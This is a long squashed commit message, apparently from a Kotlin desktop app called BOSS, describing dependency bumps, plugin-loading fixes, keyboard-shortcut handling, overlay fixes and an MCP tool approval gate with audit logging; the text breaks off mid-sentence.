dependency-version: 1.84.0 dependency-type: direct:production update-type: version-update:semver-minor - dependency-name: io.grpc:grpc-services dependency-version: 1.84.0 dependency-type: direct:production update-type: version-update:semver-minor - dependency-name: io.grpc:grpc-util dependency-version: 1.84.0 dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> Co-authored-by: Shivang * :arrow_up: deps:(deps): Bump protobuf from 4.36.0 to 4.36.1 (#364) Bumps `protobuf` from 4.36.0 to 4.36.1. Updates `com.google.protobuf:protobuf-kotlin` from 4.36.0 to 4.36.1 Updates `com.google.protobuf:protobuf-java` from 4.36.0 to 4.36.1 - [Release notes](https://github.com/protocolbuffers/protobuf/releases) - [Commits](https://github.com/protocolbuffers/protobuf/commits) --- updated-dependencies: - dependency-name: com.google.protobuf:protobuf-kotlin dependency-version: 4.36.1 dependency-type: direct:production update-type: version-update:semver-patch - dependency-name: com.google.protobuf:protobuf-java dependency-version: 4.36.1 dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> Co-authored-by: Shivang * fix(plugins): defer stale jar cleanup until restart (#340) * fix(plugins): defer stale jar cleanup until restart * fix(plugins): satisfy quality checks * Preserve staged plugin artifacts when another plugin updates * Require cleanup intent and retain artifacts with unordered manifest versions --------- Co-authored-by: ayush Co-authored-by: Shivang * fix(plugins): defer fluck-browser hot-reload to a restart (#352) * fix(plugins): defer stale jar cleanup until restart * fix(plugins): defer fluck-browser hot-reload to a restart Hot-reloading fluck-browser force-unloads the classloader that created its JxBrowser native views. Every open tab - and every tab opened afterward, since the factory that would recreate the view is gone too - draws an empty box, and a second hot-reload does not recover it; only a full restart does. HotReloadPolicy names plugins that must never be swapped in place, matching the existing NOT_USER_INSTALLABLE/RetiredPlugins pattern. It's checked at every path that can force-unload a live plugin to apply an update: the resetPluginInstances/doReloadPlugin path that actually reproduced this bug, the menu-driven Reload action, the Toolbox update flow, and the store installer. For a not-hot-reloadable plugin, the new jar is staged into installed.json without touching the running instance or its open tabs, and a status message tells the user to restart to apply it - the next cold start loads the update with a fresh classloader. Also fixes two call sites that asked "restart dependent plugins?" before checking whether an unload was even going to happen, which produced a confusing prompt for an unload that a deferred update was never going to do. * fix(plugins): satisfy quality checks * Preserve staged plugin artifacts when another plugin updates * Validate deferred browser artifacts and reject ineffective downgrades * Require cleanup intent and retain artifacts with unordered manifest versions * Preserve unloaded-browser recovery and unify safe deferred selection * Format scoped update cleanup integration --------- Co-authored-by: ayush Co-authored-by: Shivang * Harden OOP plugin reaping: hook-race flag, registry cleanup, spawn guard (#135) (#365) * Harden OOP plugin reaping: hook-race flag, registry cleanup, spawn guard (#135) reapDepth (AtomicInteger) replaces the boolean reaping flag, so the two JVM shutdown hooks (main.kt and KernelBootstrap) cannot clear the in-progress signal while the other is still reaping (item 2). reapChildren now unregisters reaped handles from the process-wide ProcessRegistry, so stale dead entries do not persist across an in-process mode switch (item 4). OutOfProcessPluginSpawnerImpl.spawn() stands down when isReaping(), so a plugin load racing host exit cannot register a child after the reap snapshot (item 3). Covered by ReapChildrenTest. * Serialize plugin spawn registration with reaping and preserve replacement handles * Fence late process creation without blocking shutdown and cover recovery --------- Co-authored-by: Shivang * fix(plugins): complete loader cleanup after disposal linkage errors (#302) * fix: API hot swap during startup * fix: workflows * resolved comments by maintainer * fix CI and build * Scope disposal error resilience and cover loader cleanup after linkage failure --------- Co-authored-by: Shivang * Fix shortcut rebinding key storage (#329) (#335) * #329 - Fix: store key names when rebinding shortcuts * Fold the key spellings Compose renders but the AWT interceptor does not BOSS maintains two key-name vocabularies over one keyboard. `AWTKeyboardInterceptor.getKeyName` names a physical key one way; Compose's `Key.toString()`, which is where `KeymapMatcher` and the Shortcuts screen both get a name, names it another. Neither list is derived from the other, and where they disagree a chord fires on one path and silently does nothing on the other. They had drifted on fourteen keys. Nine are reachable in a running app, because `Key.toString()` falls through to AWT's `getKeyText`, which answers with the macOS glyph once the toolkit is up: Enter, Escape, Tab, Backspace, Delete, Home, End, PageUp and PageDown. So `KeymapMatcher` was asking whether the glyph was "Tab" and being told no, which takes out Ctrl+Tab and Ctrl+Shift+Tab (TAB_NEXT and TAB_PREVIOUS) in all four shipped presets. They survive only on the AWT interceptor, which says "Tab" on both sides. The other five are the cold-JVM spellings the same call renders before the toolkit is up (`Back Slash`, `Quote`, `Back Quote`, `Page Up`, `Page Down`), not reachable in a running app but folded for the same reason. This is the shape `Left`/`DirectionLeft` and the bracket pair already were, so the fix is entries in the table those live in rather than a new mechanism. Also here, because the divergence is what they are about: - `composeKeyName` is the one place that reads a name out of `Key.toString()`. `KeymapMatcher.keyMatches` had its own copy of that parse, and two copies is how one path came to know a spelling the other did not. - `KeyVocabularyAgreementTest` walks the two tables key by key over all 73 bindable keys. Only the pairing of a Compose `Key` to its AWT keycode is hand-written, since that is the identity of the key itself; both vocabularies are read from the code under test, so the next divergence fails a build rather than a keystroke. A second test asserts the fold does not collapse keys that are distinct, which asserting agreement alone would pass without. - `CanonicalKeyNameTest` enumerates the glyph and spaced spellings, because the agreement test's input is whatever the environment renders and a cold run cannot reach the glyphs. `getKeyName` becomes `internal` so the test can read it; the two detekt baseline entries are rekeyed for the visibility change, with the function unchanged. Verified warm and cold: 3705 tests in :composeApp:desktopTest, plus ktlintCheck and detekt. Mutation-checked - reverting the new aliases fails the agreement test and names every key it lost. Co-Authored-By: Claude Opus 5 * Store a folded key name on capture, and repair the keymaps that hold a keyCode Completes #329, on top of the one-line capture fix in #335. which is the right shape and stops new rebinds being dead. Its own description records the rest as future work: the keymaps already on disk still hold numeric keys, and nothing tests it. This is that rest. **Fold the name before storing it.** The raw rendering is not the presets' vocabulary and it is not stable. The left arrow renders "Left" against the presets' "DirectionLeft", the right bracket "Close Bracket" against "CloseBracket", the 1 key "1" against "One" - all of which MATCH through the alias table, none of which DISPLAY the same, because `formatKeyDisplay` knows "directionleft" and not "left". Stored raw, a rebound arrow lists as "⌘LEFT" beside a preset's "⌘←". And `Key.toString()` falls through to AWT's `getKeyText`, which answers with a word while the toolkit is cold and the macOS glyph once it is up, so the same user rebinding Tab gets "Tab" or the glyph depending on nothing they did. `storedKeyName` folds through `canonicalKeyName` first, which makes a rebind indistinguishable from a preset binding: same match, same signature, same rendering, and deterministic. **Existing keymaps are handled twice, deliberately.** `canonicalKeyName` resolves a stored keyCode so an unmigrated file keeps matching, AND the settings migration rewrites it so the file stops holding a ten-digit key. Either alone is not enough: the migration cleans one file, and a keymap restored from a backup, copied off another machine, or exported and re-imported reaches the matchers before it reaches the migration. **The repair runs before `migrateSettings`' chord arithmetic**, which is what lets #322's drop-on-conflict guard see a UI rebind at all. While those signed as a numeric key, `chordHolders` produced a signature no preset chord could equal, so a keymap whose owner had rebound an action through the UI read as not claiming that chord and the guard handed a new action straight onto it. #322's own motivating example is "someone who rebound panel.navigate_right", which is a UI rebind: the guard was protecting hand-edited files and not the ones made in the app. Two smaller things: - The dialog's preview was rendering the raw keyCode too. It had a private copy of the display formatter, and now renders the exact `KeyStroke` that Apply persists, so the preview cannot disagree with what is saved. - `KeyBinding.fromComposeKey` had the same `key.keyCode.toString()` line. It has no caller today, which is exactly why it would have outlived the fix. Answering the question the issue leaves open: yes, the Shortcuts screen's own tester reports these, so it reproduces without a build change. `ShortcutTestRunner.validateKeyName` reaches its "Unknown key name" branch and the row goes red. Verified: 3705 tests in :composeApp:desktopTest, plus ktlintCheck and detekt. Co-Authored-By: Claude Opus 5 * Preserve MoveHome and MoveEnd aliases from PR #405 Extract the additional Home/End property-name aliases and assertions from #405. Maintainer integration retains home/end as canonical spellings for the existing vocabulary. * Keep unrecognised legacy key codes intact during repair * Exercise warm toolkit key names and correct rendering comments * Keep shortcut capture consumers consistent and reject modifier-only captures * Keep import regression setup readable * Order warm-toolkit test imports per repository style * Recognise unknown-key diagnostics independently of their localized prefix * Wrap modifier key lists for quality gates * Share the dispatcher modifier and lock-key exclusions with capture * Use public shortcut equality in the formatted menu regression test * Preserve malformed native codes instead of storing invalid Unicode * Cover the new dev chrome-density shortcut in capture round trips --------- Co-authored-by: Arjun Singla Co-authored-by: Claude Opus 5 Co-authored-by: Antriksh1984 Co-authored-by: Shivang * fix: make sidecar backfill lifecycle reliable (#347) * fix: make sidecar backfill lifecycle reliable * test(plugins): format sidecar backfill tests * fix(plugins): keep backfill persistence on IO and cover lifecycle transitions * fix(plugins): retry interrupted auth backfill and dispatch the full drain on IO * style(plugins): format sidecar coordinator declarations * style(plugins): keep unsigned predicate within line limit * style(plugins): wrap unsigned predicate expression * style(plugins): name the current stamp in unsigned predicate --------- Co-authored-by: ayush Co-authored-by: Shivang * fix: await SupabaseConfig initialization before syncing plugin manifest (#366) * fix: await SupabaseConfig initialization before syncing plugin manifest * style: fix ktlint import order for java.io.File * fix(plugin): wait for SupabaseConfig before starting the manifest sync SystemPluginManifestService.startSync() ran its startup fetch and Realtime subscription before SupabaseConfig finished its own async initialize() call in the Compose UI layer, so both routines' first attempt hit SupabaseConfig.client's "not initialized" throw: a startup warning for the fetch, and an unnecessary first trip through the subscription's backoff retry loop before it ever connects (#370). SupabaseConfig.isInitialized already exists as a StateFlow for exactly this. Both of startSync's launched coroutines now suspend on it once, before touching the client, replacing a guaranteed-to-fail-once startup path with a wait for the real precondition. The existing "catch up on (re)connect" comment in subscribeToChanges - added because this same race could also just lose - stays accurate; this closes the race rather than only compensating for it afterward. Test exercises the actual mechanism: a coroutine awaiting SupabaseConfig.isInitialized genuinely suspends (verified via TestCoroutineScheduler.runCurrent(), not a coroutine that was merely scheduled and never run) until initialize() is called, then resolves. * Isolate manifest readiness regressions from stored auth sessions * Test manifest readiness without singleton side effects --------- Co-authored-by: Antriksh1984 Co-authored-by: Shivang * Fix heavyweight modals dismissing destructively on focus loss (#152) (#353) * Fix heavyweight modals dismissing destructively on focus loss (#152) Extending LocalHeavyweightOverlays to the whole BossWindow content routed several dialogs through HeavyweightModal, which dismisses whenever focus leaves the application (oppositeWindow == null). Two dialogs dismiss to a destructive action, so this was a regression: - MemoryPressureNoticeDialog dismisses to acknowledge(), clearing the once-per-session notice and its restart offer unread on an alt-tab away. - ScreenCapturePickerDialog dismisses to cancel the capture request, so switching to the window you want to share silently killed the share. Add an internal LocalDismissModalOnFocusLoss CompositionLocal (default true) that the two dialogs set to false, honoured in shouldDismissOnFocusLoss. This suppresses only the focus-loss path - Escape and the scrim still dismiss deliberately. Kept host-side rather than as a BossDialog/modalRenderer parameter because those signatures are pinned by the binary-compatibility validator and would need a coordinated api-then-host release; both callers are host dialogs in composeApp. Covered by HeavyweightOverlayTest. * fix(overlays): address dismissal review and pin destructive dialog wiring * style(overlays): order dialog property import * style(overlays): wrap dismissal wiring assertion * style(overlays): import the regression fixture root helper --------- Co-authored-by: Shivang * Fix toast overlay clipping content at its first-frame size (#154) (#354) * Fix toast overlay clipping content at its first-frame size (#154) HeavyweightCorner measured its content against a ceiling of min(initialSize, region), so the toast overlay's 432x600 initialSize doubled as a hard clip. Three verbose toasts can exceed 600dp, and because the overlay window is content-sized the overflow is not cosmetic: the bottom toast's dismiss button lands outside the window, unclickable, on the INDEFINITE path where dismissing is the only way out, so the toast is genuinely stuck. measuredAgainst already decoupled measurement from the window's current size, so the two uses of the initial size no longer need to be one number. Size the ceiling to the parent region instead (regionCeiling), leaving initialSize as only the small first-frame placeholder. Content now grows the window up to what the parent can actually show rather than being clipped. Other callers are unaffected: intrinsically-sized content measures the same, it just stops being capped below the parent. Covered by HeavyweightCornerTest; HeavyweightCornerSizingTest's ratchet guarantees are unchanged. * test(overlays): measure content beyond the initial toast window height * docs(overlays): update all first-frame sizing contracts --------- Co-authored-by: Shivang * Overlay follow-ups: popup measure guards, anchor diagnostic, dialog a11y (#143) (#367) * Overlay follow-ups: popup measure guards, anchor diagnostic, dialog a11y (#143) Equality guards on BossPopup's measuredWidthPx/anchorPositionPx make onGloballyPositioned/layout writes no-ops in the steady state instead of a redundant compose-measure-layout pass per frame during a window drag. AnchorBounds popups that never measure report once via BossOverlayHost.reportUnmeasuredAnchor() after a grace period. The modal card declares semantics { dialog() } and swallows clicks with detectTapGestures instead of clickable, so a screen reader announces a dialog rather than a button; the scrim dismiss also moves to detectTapGestures so IsDialog is not merged under a clickable ancestor (which crashed the modal). BossAlertCard drops the header spacer for a buttons-only card (alertHeaderSpacerVisible); AlertWidth renamed ALERT_WIDTH. Covered by BossAlertCardSpacerTest, ScrimmedModalSemanticsTest, and the existing ModalInputArmingTest/BossAlertCardLayoutTest. * fix(overlays): refresh scrim dismissal callback after recomposition * fix(overlays): remove redundant measurement reads and cover card taps --------- Co-authored-by: Shivang * fix(plugin-ui-core): guard write-once overlay registry fields (#369) * fix(plugin-ui-core): stop redundant popup recomposition and guard write-once overlay registry fields Two non-blocking follow-ups from the HARDWARE dialog sweep (#143). BossDialog wrote measuredWidthPx and anchorPositionPx unconditionally from layout {} / onGloballyPositioned, and both are read during composition - so an unchanged value still invalidated composition from inside layout on every pass, costing a redundant composition-measure- layout cycle per frame for every open BossPopup during e.g. a window- resize drag. Both writes are now equality-guarded, a no-op once the value stops moving. BossOverlayHost.{useHeavyweightOverlays,modalRenderer,popupRenderer, diagnostics} are public mutable statics the KDoc calls host-owned and write-once, on a singleton shared across the host and every in-process plugin - but nothing enforced it, so one plugin line could reinstate the occluded-dialog bug this file exists to fix. Each now locks to its first write (via a custom setter, so the JVM descriptor - and so binary compatibility with the boss-plugin-api mirror - is unchanged) and reports a duplicate write through diagnostics instead of silently accepting it. openHeavyweightPopups is deliberately left alone: its own KDoc documents it as a running counter across a popup's lifetime, not a one-time registration, and a write-once guard would freeze it at whatever the first popup left it. Co-Authored-By: Claude Sonnet 5 * test(overlays): isolate write-once registry fixtures and remove duplicate popup edits * fix(overlays): register diagnostics first and verify both startup modes --------- Co-authored-by: Claude Sonnet 5 Co-authored-by: Shivang * fix(plugin-api-core): guard against host/api divergence in duplicated packages (#368) * fix(plugin-api-core): guard against host/api divergence in duplicated packages ai.rever.boss.plugin.{logging,bookmark,workspace,browser,scrollbar,ui, tab.terminal} each exist twice: once in the host modules, once inside boss-plugin-api, what plugins actually compile against. The host's copy shadows the api's parent-first inside plugin classloaders, so a plugin whose bytecode references a member the api has and the host lacks fails to link at runtime rather than at compile time - already the cause of two incidents (secret-manager 1.2.6/1.2.7, unloadable on every host with only "ComponentLogger.$stable: field not found" as a clue). LoggingStableFieldTest, BookmarkStableFieldTest and WorkspaceStableFieldTest each pin the one field that has actually bitten us. Nothing pinned the general case: an added method or a changed signature in either copy breaks a plugin the same way and would be diagnosed from scratch. ApiPackageDivergenceTest diffs the host's copies against the pinned release jar plugin-api-core's own build already downloads (fetchApiPluginJar), for every public, non-synthetic member of the seven packages actually duplicated (verified against the real jar's contents, not guessed from the issue's approximate count) - not ai.rever.boss.plugin.api itself, which is filtered from that same jar so it cannot diverge from itself, and not ai.rever.boss.plugin.bundled, which is api-only. Co-Authored-By: Claude Sonnet 5 * fix(plugin-api): cover callable ABI and preserve PanelConfig linkage * fix(tests): compile legacy serialization bridge and satisfy lint * test(plugin-api): address review and verify loader isolation --------- Co-authored-by: Claude Sonnet 5 Co-authored-by: Shivang * fix(gate): surface remedy success and handle in-flight update states (#378) * fix(gate): handle updateHost success and in-flight download states * style(gate): resolve detekt LongMethod and ReturnCount violations - Extracted PluginLoadGateHeader to reduce PluginLoadGateBody length under 60 lines. - Refactored updateHost to use a single return expression, eliminating multiple exit points and fixing line length limits. * fix(gate): complete header extraction and validate update remedy state * fix(gate): retain rollback and report installation progress accurately * fix(gate): explain the install step after downloading BOSS * style(gate): apply ktlint and wrap detekt overlong lines --------- Co-authored-by: Shivang * Make MCP search rows open Toolbox for kill-switches (#380) (#382) * Make MCP search rows open Toolbox for kill-switches (#380) Agent-less operators could find mcp__boss__* tools in double-shift search but selecting a row did nothing. Wire selection to reveal Toolbox (plugin-manager) and document the minimum attach / kill-switch path. * fix(search): validate MCP navigation and clarify Toolbox hint * fix(search): report unavailable Toolbox for MCP selections --------- Co-authored-by: Shivang * # Governed Autonomy for MCP tools: approval gate and audit ledger (#371) * feat(mcp): implement Governed Autonomy with Operation Ledger and ASK mode approval gate - Add McpPolicy and McpPolicyEngine with fail-closed configuration and session trust - Add McpApprovalBus and McpApprovalDialog for non-blocking interactive tool approval - Add McpOperationLedger with size-based file rotation (10 MB x 5) and sensitive argument masking via LogSanitizer - Integrate policy checks, coroutine approval gate, and ledger journaling into McpToolRegistryCore.invoke - Add UI wiring in BossAppState, BossAppEventBusEffects, BossAppDialogs, and BossBottomBar - Add comprehensive unit tests covering policy, approval, ledger rotation, and registry invoke integration * fix(mcp): address review findings across approval gate, policy engine, and ledger * fix(mcp): avoid length-based over-redaction of tool arguments McpOperationLedger and McpApprovalDialog sanitized arguments through LogSanitizer.sanitizeMap, which masks any string value 20+ characters long regardless of content. That defeated the stated goal of keeping long file paths, URLs, and shell commands readable in the audit log and, worse, in the approval dialog an operator relies on to decide whether to approve a mutating call. McpArgumentSanitizer replaces that path for both call sites: a value is now only masked when its key names it as sensitive, or its shape is unambiguously a credential (JWT, GitHub token, sk_/pk_ vendor key). Adds a test proving shape-based masking still catches a credential under a non-sensitive key name, and renames the existing redaction test to match. Also reorders two imports in BossAppDialogs.kt that were out of alphabetical order and would fail ktlintCheck. Co-Authored-By: Claude Sonnet 5 * fix(mcp): repair governed dispatch and cancellation audit guarantees * fix(mcp): address governed autonomy review defects --------- Co-authored-by: Claude Sonnet 5 Co-authored-by: Shivang * Stop the Shortcuts tester reporting working shortcuts as broken (#375) (#376) * Fold the key spellings Compose renders but the AWT interceptor does not BOSS maintains two key-name vocabularies over one keyboard. `AWTKeyboardInterceptor.getKeyName` names a physical key one way; Compose's `Key.toString()`, which is where `KeymapMatcher` and the Shortcuts screen both get a name, names it another. Neither list is derived from the other, and where they disagree a chord fires on one path and silently does nothing on the other. They had drifted on fourteen keys. Nine are reachable in a running app, because `Key.toString()` falls through to AWT's `getKeyText`, which answers with the macOS glyph once the toolkit is up: Enter, Escape, Tab, Backspace, Delete, Home, End, PageUp and PageDown. So `KeymapMatcher` was asking whether the glyph was "Tab" and being told no, which takes out Ctrl+Tab and Ctrl+Shift+Tab (TAB_NEXT and TAB_PREVIOUS) in all four shipped presets. They survive only on the AWT interceptor, which says "Tab" on both sides. The other five are the cold-JVM spellings the same call renders before the toolkit is up (`Back Slash`, `Quote`, `Back Quote`, `Page Up`, `Page Down`), not reachable in a running app but folded for the same reason. This is the shape `Left`/`DirectionLeft` and the bracket pair already were, so the fix is entries in the table those live in rather than a new mechanism. Also here, because the divergence is what they are about: - `composeKeyName` is the one place that reads a name out of `Key.toString()`. `KeymapMatcher.keyMatches` had its own copy of that parse, and two copies is how one path came to know a spelling the other did not. - `KeyVocabularyAgreementTest` walks the two tables key by key over all 73 bindable keys. Only the pairing of a Compose `Key` to its AWT keycode is hand-written, since that is the identity of the key itself; both vocabularies are read from the code under test, so the next divergence fails a build rather than a keystroke. A second test asserts the fold does not collapse keys that are distinct, which asserting agreement alone would pass without. - `CanonicalKeyNameTest` enumerates the glyph and spaced spellings, because the agreement test's input is whatever the environment renders and a cold run cannot reach the glyphs. `getKeyName` becomes `internal` so the test can read it; the two detekt baseline entries are rekeyed for the visibility change, with the function unchanged. Verified warm and cold: 3705 tests in :composeApp:desktopTest, plus ktlintCheck and detekt. Mutation-checked - reverting the new aliases fails the agreement test and names every key it lost. Co-Authored-By: Claude Opus 5 * Stop the Shortcuts tester reporting working shortcuts as broken `ShortcutTestRunner.validateKeyName` kept its own hand-written set of valid key names - the fourth copy of the key vocabulary in the codebase, and the only one nothing tested. It had drifted, and step 4 of the tester turned that drift into a hard FAILED. Fifteen keys the interceptor dispatches were reported as "Unknown key name 'X' - won't match user input" on a shortcut that fires: - every function key, F1 through F12 - Home, End, PageUp, PageDown - the character spellings the fold has always accepted ("-", "=", "/" and the rest), which were reported with the confident and wrong advice "Key name should be 'Minus' not '-'" - the spellings Compose renders, both cold ("Back Slash", "Quote", "Page Up") and the macOS glyphs a running app produces The list is replaced by `isKnownKeyName`, which folds through `canonicalKeyName` against `KNOWN_KEY_NAMES` in the model - one vocabulary, beside the fold that already reconciles the other three. The verdict also softens to a note. "Will this key match" is not knowable from the name alone: `canonicalKeyName` folds an unknown name onto itself, and the keyboard has keys outside the interceptor's table (F13 and up, the keypad) that AWT still names. So an unrecognised name now says it is unrecognised alongside the result, and the test does not fail on it. Reporting a working shortcut as broken is worse than saying nothing, and that is the failure this PR is about. `ShortcutTesterKeyNamesTest` pins the vocabulary in both directions: every key the interceptor names is recognised, and nothing is claimed as known that no key produces. The second half is what stops the set being padded into passing the first. Every shipped preset binding is covered, and a name nothing can produce is still called out, so removing the false failures did not remove the check. Verified: 3705 tests in :composeApp:desktopTest, plus ktlintCheck and detekt. Mutation-checked - restoring the two omissions the old list had (the function keys, and Home/End/PageUp/PageDown) fails the test and names all sixteen. Co-Authored-By: Claude Opus 5 * review: keep a real verdict for a key stored as a raw key code Self-review of the change above found that softening step 4 to a note went one case too far. A key stored as a packed `Key.keyCode` is the one thing that IS decidable from the name alone, and it is decidably broken: no matcher compares against a number, so the binding fires on neither path. That is what every rebind made in the Shortcuts screen wrote before #329, which makes it the population most likely to be on this screen in the first place - and they would have been shown a green row with a parenthetical note. It keeps FAILED, with advice that holds either way: a keymap carrying a raw key code is worth re-recording whether or not the fold currently resolves it. Also drops a guarantee two comments claimed and the tests do not give. The test drives the interceptor's table through a hand-written list of key codes, so a key added to that table alone is checked by nothing. Reading the `when` itself would need reflection over a private table; saying so is better than asserting an invariant that is not enforced. Co-Authored-By: Claude Opus 5 * #329 - Fix: store key names when rebinding shortcuts * Fold the key spellings Compose renders but the AWT interceptor does not BOSS maintains two key-name vocabularies over one keyboard. `AWTKeyboardInterceptor.getKeyName` names a physical key one way; Compose's `Key.toString()`, which is where `KeymapMatcher` and the Shortcuts screen both get a name, names it another. Neither list is derived from the other, and where they disagree a chord fires on one path and silently does nothing on the other. They had drifted on fourteen keys. Nine are reachable in a running app, because `Key.toString()` falls through to AWT's `getKeyText`, which answers with the macOS glyph once the toolkit is up: Enter, Escape, Tab, Backspace, Delete, Home, End, PageUp and PageDown. So `KeymapMatcher` was asking whether the glyph was "Tab" and being told no, which takes out Ctrl+Tab and Ctrl+Shift+Tab (TAB_NEXT and TAB_PREVIOUS) in all four shipped presets. They survive only on the AWT interceptor, which says "Tab" on both sides. The other five are the cold-JVM spellings the same call renders before the toolkit is up (`Back Slash`, `Quote`, `Back Quote`, `Page Up`, `Page Down`), not reachable in a running app but folded for the same reason. This is the shape `Left`/`DirectionLeft` and the bracket pair already were, so the fix is entries in the table those live in rather than a new mechanism. Also here, because the divergence is what they are about: - `composeKeyName` is the one place that reads a name out of `Key.toString()`. `KeymapMatcher.keyMatches` had its own copy of that parse, and two copies is how one path came to know a spelling the other did not. - `KeyVocabularyAgreementTest` walks the two tables key by key over all 73 bindable keys. Only the pairing of a Compose `Key` to its AWT keycode is hand-written, since that is the identity of the key itself; both vocabularies are read from the code under test, so the next divergence fails a build rather than a keystroke. A second test asserts the fold does not collapse keys that are distinct, which asserting agreement alone would pass without. - `CanonicalKeyNameTest` enumerates the glyph and spaced spellings, because the agreement test's input is whatever the environment renders and a cold run cannot reach the glyphs. `getKeyName` becomes `internal` so the test can read it; the two detekt baseline entries are rekeyed for the visibility change, with the function unchanged. Verified warm and cold: 3705 tests in :composeApp:desktopTest, plus ktlintCheck and detekt. Mutation-checked - reverting the new aliases fails the agreement test and names e… * fix(shortcuts): trigger key bindings on key release instead of key press (#492) * fix(shortcuts): trigger key bindings on key release instead of key press * fix(shortcuts): invoke a bound action on key-up, not key-down (#490) A shortcut's action ran from the KEY_PRESSED event, so holding a chord past the OS auto-repeat threshold fired it repeatedly (Cmd+N held down kept creating tabs), and the action always ran while the keys were still physically held. AWTKeyboardInterceptor.install() now recognizes a matching chord on KEY_PRESSED - claiming it (so it still doesn't leak to BossTerm/a browser while held) - but only arms it as a PendingShortcut. The bound action fires exactly once, from handleKeyReleased, when the primary key's own KEY_RELEASED arrives; a repeat KEY_PRESSED for the same key stays claimed without re-arming or re-firing. Releasing a modifier by itself can never match, since a modifier key is never allowed to arm in the first place. Focus moving to another window (or away entirely) clears any armed-but-unfired chord via a focusedWindow property listener, and uninstall() clears it too. dispatchAction gained a `perform` flag (default true, so every existing call site is unchanged) so handleKeyPressed can ask "would this dispatch" - reusing the exact same gate each action already had (canStepTabs, activePanelTabCount, panelCountState, ClosedTabHistory) - without performing the trigger, and handleKeyReleased later asks for real. This is one function answering both questions rather than two that could drift, at the cost of a narrow, documented race if the gate's answer changes in the few hundred ms between press and release. PluginShortcutRegistryImpl.dispatch has no such probe, so a matched plugin default arms optimistically and is confirmed for real at release. KeyboardShortcutInterceptor.kt (a second matcher against the same KeymapMatcher, not wired to any production caller today) gets the same arm-on-KeyDown/emit-on-matching-KeyUp treatment for consistency. New tests drive handleKeyPressed/handleKeyReleased directly with synthetic AWT KeyEvents (the same way the existing gate tests drive dispatchAction/dispatchIfCanStepTabs directly), covering: a key-up fires exactly once, a mismatched or modifier release does nothing, a repeat key-down neither re-arms nor re-fires, a gate closing between press and release is honored at release, and cancelling drops an armed chord. * fix: wokflows * fix(shortcuts): validate pending chord lifetime and release ownership * fix(shortcuts): fix MRU wedge, stale-arm swallow, and dropped-chord bugs (#490) Addresses the three substantive findings from review: - MRU tab cycling wedged open when the modifier released before the primary key. Arming (tabCycleActive/tabCycleModifierKeyCode) had moved to handleKeyReleased, where the cycling modifier is no longer guaranteed still down - the OS can deliver the two key-ups in either order, and releasing the modifier first meant arming for a release that had already happened. Extracted armTabCycleIfApplicable and call it from handleKeyPressed instead, where the modifier is guaranteed held (it's what made the chord match). - A lost KEY_RELEASED (swallowed by a native popup, a heavyweight surface, or an OS-level chord grab, with focus never moving so nothing else cleared it) left a stale armed entry that the repeat- claim check matched on keycode alone - so a later, unrelated bare press of the same physical key was silently swallowed, and its key-up fired the shortcut for a keystroke that was never meant to be one. PendingShortcut now records the arming event's four modifier flags, and the repeat-claim check requires them to still match; a mismatch falls through to normal re-matching instead, which also makes a stale entry self-heal on the next genuine press of that chord rather than staying stuck until focus changes. - Rolling one chord into another without fully releasing the first (Cmd+N into Cmd+T at speed) evicted it from the single pending slot, so its eventual release found nothing to fire and leaked to the focused component with no matching key-down to explain it. pendingShortcut is now pendingShortcuts, keyed by physical keycode, so concurrently-held chords on different keys get independent slots. Also: a release that matched and cleared an armed chord is now always consumed, regardless of whether the underlying dispatch reports handled - the key-down was already withheld from the focused component, so letting the key-up through alone on a refused gate or a plugin that unregistered mid-chord left a listener a key-up with no matching key-down to make sense of. tabCycleActive/tabCycleModifierKeyCode are now internal (from private) so a test can pin the arm-at-press behavior directly. KeyboardShortcutInterceptor.kt (still unwired to any production caller) gets the same stale-arm protection via onFocusChanged, for the "consistent key-up semantics" criterion the next person wiring it up will actually see. New/updated tests: armTabCycleIfApplicable's MRU-gating in isolation (arms for TAB_NEXT/TAB_PREVIOUS under MRU, does nothing otherwise or for an unrelated action), a structural proof that handleKeyReleased no longer arms the cycle itself, a stale-arm-with-different-modifiers regression, a two-independent-chords regression, and the gate-race test updated to assert consumption instead of the old handled-based return. 16/16 ShortcutKeyUpInvocationTest, all touched suites green. * fix(shortcuts): finish reviewed cancellation and headless regressions * refactor(shortcuts): resolve CI complexity findings * test(crash): tolerate transient Windows report read locks * test(crash): wait for drain marker deletion on Windows --------- Co-authored-by: Antriksh Co-authored-by: Shivang * fix(db): stop materializing inherited client routine access * fix(logging): mask a URL whose fragment comes before its query (#541) Preserve masked URLs when a fragment precedes the query. Original implementation and four regression tests by @arjun28115. Reviewed current-head Claude feedback and passing CI; existing adjacent nested-query behavior remains a documented follow-up. * test(config): isolate Chromium flags test from local environment variables (#507) * test(config): isolate Chromium flags test from local environment variables (cherry picked from commit c6bce0ded1a4157b84cb724577f89ff9a0cd3cc9) * test(config): pin the env-wins and blank-UNSET rules the envReader seam unlocks Addresses the Claude review of #507: - move the envReader seam declaration up beside settingsFile so the KDoc reattaches to envOverride and the seam is initialised before bootSettings = loadSync() (object initialiser declaration order); - previewValue test now exercises the environment outranking the setting and the blank-reads-as-UNSET guard, both untestable before the seam existed; - reword two comments that the seam made stale. * test(config): close out the second Claude review of #507 Addresses the re-review of 6bcd83c73 (comment text only, plus one hermeticity line in a test): - the init-order comment read inverted - it called an initialiser below the envReader declaration the hazard, when the hazard is an initialiser ABOVE it (which is exactly what the old layout had, with bootSettings declared above the seam); reworded; - 'envOverride reads the environment only' now stubs envReader to null for its own assertions, so it is hermetic by construction rather than by the BOSS_TEST_UNUSED_KEY naming convention. --------- Co-authored-by: Shivang * fix(search): route cross-window tab selections to target window (#500) * fix(search): route cross-window tab selections to target window * refactor(search): focus target window via WindowFocusManager, wire TabEventBus to kernel IPC * fix(search): honor closed target window, forward origin window in TabEventBus Addresses the Claude review of the cross-window tab selection change: - TabEventBus.selectTab now takes sourceWindowId (the dialog's own window) and forwards it as the IpcEventBridge envelope source, matching the origin contract the other twelve buses and EventBusServiceImpl rely on. - TabSelectEvent is @Serializable so kernel-mode forwarding emits structured JSON instead of the toString() fallback with a WARN. - onTabSelect honors WindowFocusManager.focusWindow's Boolean result: a closed target window now logs a warning instead of emitting into the void (the bus has no replay). - The 50 ms effect delay is named TAB_SELECT_FOCUS_GRACE_MS with a comment stating it is UX grace, not a correctness barrier. - TabSelectEventTest: the no-replay test proves live delivery first and only then asserts the late collector sees nothing; both tests use 